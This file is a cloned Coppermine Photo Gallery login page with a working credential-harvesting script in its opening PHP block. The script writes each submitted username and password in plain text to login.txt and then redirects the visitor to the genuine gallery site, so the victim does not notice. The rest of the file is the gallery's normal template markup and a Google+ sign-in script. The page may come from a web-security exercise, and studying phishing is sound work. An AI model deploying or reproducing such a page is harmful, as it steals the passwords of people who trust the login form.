<?php
if(isset($_POST['submitted']))
{
	$un = $_POST['username'];
	$pw = $_POST['password'];
	$file = fopen("login.txt", "a+");
	if($file)
	{
		fwrite($file, "Username: $un\nPassword: $pw\n-----\n");
	}
	fclose($file);
	header("Location: http://www.websecnus.com/cpg/index.php");
}
?>  
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="Pragma" content="no-cache" />
<title>Coppermine Photo Gallery - Login</title>

<link rel="stylesheet" href="style.css" type="text/css" />
<script type="text/javascript"
        src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
<script type="text/javascript" src="scripts.js"></script>

<!--
  SVN version info:
  Coppermine version: 1.4.18
  $Revision: 4380 $
  $LastChangedBy: gaugau $
  $Date: 2008-04-12 12:00:19 +0200 (Sa, 12 Apr 2008) $
-->
</head>
<body>

	  
  <table width="100%" border="0" cellpadding="20" cellspacing="20">
    <tr>
      <td valign="top" style="border: 1px solid #666666;background-color:#FFFFFF;">
        <table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td>
              <a href="index.php"><img src="site_logo.png" border="0" alt="" /></a><br />
            </td>
            <td width="100%" align="center">
              <h1>Coppermine Photo Gallery</h1>
              <h3>Your online photo album</h3><br />
                          <!-- BEGIN home -->
        <a href="index.php" title="Go to the home page">Home</a> ::
  <!-- END home -->              <!-- BEGIN register -->
        <a href="register.php" title="Create an account">Register</a> ::
  <!-- END register -->    <!-- BEGIN login -->
        <a href="login.php?referer=login.php%3Freferer%3Dindex.php" title="Log me in">Login</a> 
  <!-- END login -->   <br />               <!-- BEGIN album_list -->
        <a href="index.php" title="Go to the album list">Album list</a> ::
  <!-- END album_list -->  <!-- BEGIN lastup -->
        <a href="thumbnails.php?album=lastup" title="Show most recent uploads">Last uploads</a> ::
  <!-- END lastup -->  <!-- BEGIN lastcom -->
        <a href="thumbnails.php?album=lastcom" title="Show most recent comments">Last comments</a> ::
  <!-- END lastcom -->  <!-- BEGIN topn -->
        <a href="thumbnails.php?album=topn" title="Show most viewed items">Most viewed</a> ::
  <!-- END topn -->  <!-- BEGIN toprated -->
        <a href="thumbnails.php?album=toprated" title="Show top rated items">Top rated</a> ::
  <!-- END toprated -->  <!-- BEGIN favpics -->
        <a href="thumbnails.php?album=favpics" title="Go to my favorites">My Favorites</a> ::
  <!-- END favpics -->  <!-- BEGIN search -->
        <a href="search.php" title="Search the gallery">Search</a> 
  <!-- END search -->
<br />
<div>
            <img id="user-profile-picture" style="display:none;" />
            <span id="user-profile-name" style="display:none;"></span>
            <a id="signout" style="display:none;" href="#">Sign out</a>
            <span id="gplus-signin-btn" style="display:none;"></span>
        </div>
            </td>
          </tr>
        </table>
        <table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td align="center" valign="top">
              
            </td>
          </tr>
          <tr>
            <td align="center" valign="top">
              
              
            </td>
          </tr>
        </table>
        <img src="images/spacer.gif" width="1" height="15" alt="" />
        <br />
        <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
          <tr>
            <td align="left" valign="top">
              
              <form action="login.php?referer=index.php" method="post" name="loginbox">
<!-- Start standard table -->
<table align="center" width="600" cellspacing="1" cellpadding="0" class="maintable">
        <tr>
                <td class="tableh1" colspan="2">Enter your username and password to login</td>
        </tr>
                  
                  
                  <tr>
                        <td class="tableb" width="40%">Username</td>
                        <td class="tableb" width="60%"><input type="text" class="textinput" name="username" style="width: 100%" tabindex="1" /></td>
                  </tr>
                  <tr>
                          <td class="tableb">Password</td>
                        <td class="tableb"><input type="password" class="textinput" name="password" style="width: 100%" tabindex="2" /></td>
                  </tr>
                  <tr>
                    <td colspan="2" align="center" class="tableb">Remember me <input name="remember_me" type="checkbox" class="checkbox" value="1" tabindex="3" /></td>
                  </tr>
                  <tr>
                    <td align="center" class="tablef"><a href="forgot_passwd.php" class="topmenu">I forgot my password</a></td>
                    <td align="left" class="tablef"><input name="submitted" type="submit" class="button" value="Login" tabindex="4" /></td>
                  </tr>
</table>
<!-- End standard table -->

</form>

<script language="javascript" type="text/javascript">
<!--
document.loginbox.username.focus();
-->
</script><div class="footer" align="center" style="padding-top: 10px;">Powered by <a href="http://coppermine-gallery.net/" title="Coppermine Photo Gallery" rel="external">Coppermine Photo Gallery</a></div>
            </td>
          </tr>
        </table>
      </td>
    </tr>
  </table>
  <div id="vanity">
      <a id="v_php" href="http://www.php.net/" target="_blank"></a>
      <a id="v_mysql" href="http://www.mysql.com/" target="_blank"></a>
      <a id="v_xhtml" href="http://validator.w3.org/check/referer" target="_blank"></a>
      <a id="v_css" href="http://jigsaw.w3.org/css-validator/check/referer" target="_blank"></a>
</div>
<!-- STEP 4: COPY AND PASTE GOOGLE+ JS JUST BEFORE CLOSING BODY TAG -->
        <script type="text/javascript">
            var GPLUS_CLIENT_ID = "365390199500-jhb2s4jrrmo146iuimg8o1t36a7a9ofp.apps.googleusercontent.com";
            var gplusSigninButton = $("#gplus-signin-btn");
            var profilePicture = $("#user-profile-picture");
            var profileName = $("#user-profile-name");
            var signOut = $("#signout");

            // Defines the configuration options, these must be set before you load
            // the plusone.js file.
            window.___gcfg = {
                lang : 'en-US',
                parsetags : 'explicit'
            };
            (function() {
                var po = document.createElement('script');
                po.type = 'text/javascript';
                po.async = true;
                po.src = 'https://apis.google.com/js/client:plusone.js?onload=gplusApiOnLoad';
                var s = document.getElementsByTagName('script')[0];
                s.parentNode.insertBefore(po, s);
            })();

            $(document).ready(function() {
                signOut.click(signOutGoogle);
            });

            function gplusApiOnLoad() {
                gapi.signin.render(gplusSigninButton[0], {
                    "callback" : "signInGoogle", // global function
                    "clientid" : GPLUS_CLIENT_ID,
                    "cookiepolicy" : "single_host_origin",
                    "requestvisibleactions" : "http://schemas.google.com/AddActivity",
                    "scope" : "https://www.googleapis.com/auth/plus.login",
                    "width" : "standard",
                    "height" : "standard"
                });
            }

            function signInGoogle(authResult) {
                if (authResult["access_token"]) {

                    signInState();
                    return true;

                } else if (authResult['error']) {
                    // Update the app to reflect a signed out user
                    // Possible error values:

                    if (authResult['error'] === "immediate_failed") {
                        //   "immediate_failed" - Could not automatically log in the user
                    } else if (authResult['error'] === "access_denied") {
                        //   "access_denied" - User denied access to your app
                        // Summarise the benefits of using the app
                        // and ask the user to reconsider sign-in
                        // or to feedback why access denied
                    } else if (authResult['error'] === "user_signed_out") {
                        //   "user_signed_out" - User is signed-out
                    }

                    signOutState();

                }
                return false;
            }

            function signOutGoogle() {
                // Revoke the access token.
                $.ajax({
                    type : 'GET',
                    url : 'https://accounts.google.com/o/oauth2/revoke?token=' + gapi.auth.getToken().access_token,
                    async : false,
                    contentType : 'application/json',
                    dataType : 'jsonp',
                    success : function(result) {
                        console.log('User signed out successfully. Revoke response: ' + result);

                        signOutState();
                    },
                    error : function(e) {
                        console.log(e);
                    }
                });
            }

            function signInState() {

                gplusSigninButton.css("display", "none");
                profilePicture.css("display", "block");
                profileName.css("display", "block");
                signOut.css("display", "block");

                // Load the Google+ API Client library
                gapi.client.load('plus', 'v1', function() {
                    // Retrieve user profile data
                    googleUserProfile();

                });
            }

            function signOutState() {
                //console.log("signOutState");
                gplusSigninButton.css("display", "block");
                profilePicture.css("display", "none");
                profileName.css("display", "none");
                signOut.css("display", "none");

            }

            function googleUserProfile() {

                var request = gapi.client.plus.people.get({
                    'userId' : 'me'
                });
                request.execute(function(profile) {

                    // Perform all actions on user profile data here

                    //console.log("Google+ user profile retrieved successfully : " + JSON.stringify(profile));

                    profilePicture.attr("src", profile.image.url);
                    profileName.text(profile.displayName);

                });

            }
        </script>
        <!-- END OF STEP 4 -->
<!--Coppermine Photo Gallery 1.4.18 (stable)-->
</body>
</html>

